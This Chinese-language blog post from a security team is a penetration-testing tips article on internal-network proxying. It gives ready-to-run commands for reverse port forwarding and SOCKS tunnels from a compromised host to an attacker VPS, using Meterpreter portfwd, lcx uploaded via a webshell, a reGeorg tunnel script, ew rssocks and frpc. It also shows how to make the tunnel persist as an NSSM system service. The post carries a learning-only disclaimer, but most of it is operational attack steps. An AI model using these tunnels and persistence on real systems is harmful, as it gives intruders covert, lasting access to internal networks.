【技巧分享】内网渗透-代理篇

山东新潮信息

专业|专注|卓越|安全

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

前言

最近参与内网渗透比较多,认知到自己在会话维持上过于依赖web服务,web服务一旦关闭,便失去了唯一的入口点。本次以远程桌面连接来进行说明,介绍几种常用的连接方式。本次目标主机ip为:172.16.86.153

msf反弹木马

使用条件:服务器通外网,拥有自己的公网ipmsf是我进行内网渗透中用的最多的工具,它内置了很多强大的功能,用起来相当方便。msf的meterpreter内置了端口转发功能,可以把内网的端口转发到本地。

portfwd add -l 5555 -p 3389 -r 172.16.86.153

转发目标主机的3389远程桌面服务端口到本地的8888,使用linux中的rdesktop连接本地的8888端口。

rdesktop 127.1.1.0:8888

msf内置了socks模块,在session但基础上配置路由,调用即可使用,但是速度和稳定性都很差,不做详细介绍。

lcx.exe

使用条件:服务器通外网,拥有自己的公网iplcx是一个经典的端口转发工具,直接把3389转发到公网的vps上。通过大马上传lcx.exe,执行系统命令,其中1.1.1.1是vps的公网ip。

lcx.exe -slave 1.1.1.1 9999 127.0.0.1 3389

因为我公网vps使用的是linux的系统,lcx对应linux的工具为portmap 。p1为监听的端口,p2为转发到的端口。

./portmap -m 2 -p1 9999 -p2 33889

成功监听到转发出的3389端口。

直接使用远程桌面服务连接1.1.1.1:33889

基于web服务的socks5隧道

基于web服务的socks5隧道的优点是,在内网服务器不通外网的情况下也能正常使用。常用的工具有:reGeorg,reDuh,Tunna和Proxifier。本次只介绍reGeorg的具体用法。选择对应脚本的tunnel上传到服务器。

访问上传文件,显示如下表示成功。

在reGeorg文件夹下执行reGeorgSocksProxy.py,-p为指定隧道的端口,-u为刚刚上传的tunnel文件地址。

python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php

打开Proxifier,更改为脚本指定的端口。

本地电脑成功通过socks5带进了目标主机的内网。(若失败,可能是某些防护检测到了异常流量,可采用reDuh)本地电脑直接远程连接目标主机的内网ip。

冰蝎自带的socks代理原理相同,也是基于web服务的。

使用ew搭建socks5隧道

使用条件:目标主机通外网,拥有自己的公网ip选择对应主机操作系统的执行文件。

目标主机为windows系统,选择上传ew_for_Win.exe文件。公网vps使用ew_for_linux64文件。首先在公网vps上执行:

./ew_for_linux64 -s rcsocks -l 10000 -e 11000

-l为Proxifier连接的端口,-e为目标主机和vps的通信端口。

然后在目标主机中执行:

ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 11000

socks5隧道建立成功,成功把自己的主机带进目标内网。使用Proxifier,配置ip和连接端口。

连接远程桌面成功。

frp

传送门使用条件:目标主机通外网,拥有自己的公网ip首先需要在公网服务器搭建服务端,搭建方法参考:传送门要注意的是,客户端和服务端的版本号要一致,否则无法正常使用。对frpc.ini进行配置,为了保证搭建的隧道不对他人恶意利用,加入账户密码进行验证。

[socks5_proxy]type = tcpremote_port = 11000plugin = socks5plugin_user = xxxplugin_passwd = xxx

上传frpc.exe和frpc.ini到目标服务器上,直接运行frpc.exe(在实战中可能会提示找不到配置文件,需要使用-c参数指定配置文件的路径frpc.exe -c 文件路径)

公网vps主机上运行frps。

配置Proxifier的ip和连接端口,输入设置的账户密码。

隧道建立成功,连接远程桌面。

对于多台目标主机同时搭建多条socks5隧道,需要更改frpc.ini中配置的名称和端口号,在重复的情况下会提示端口占用。

渗透结束后记得把frpc的进程杀死,不然会一直和frps建立连接。

tasklisttaskkill /pid 进程号-t-f

类似的工具还有:sSocks,Termite等,不需要每种都掌握,有自己用的顺手的就行。

后门持久化

一般在网站服务的web服务关闭后,服务器重启后,大部门后门都会失效,这时需要用到系统服务封装工具。以NSSM来进行示例,封装frpc为系统服务,建立持久的socks5隧道。启动nssm图形化界面。

nssm install name

选择想要组册服务的exe应用。

设置服务的名字。直接点击install service,如下表示注册服务成功。

查看本地服务。

状态设置为启动,重启电脑进行测试,重启后frpc.exe自动运行,成功和frps连接。

删除服务。

nssm remove <servicename>

总结

本次列举了一些常用的工具,还有很多工具没有列举到,功能原理都是大同小异,有那么几个用的顺手就好。

E

N

D

gūan

zhù

men

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网:或长按二维码关注: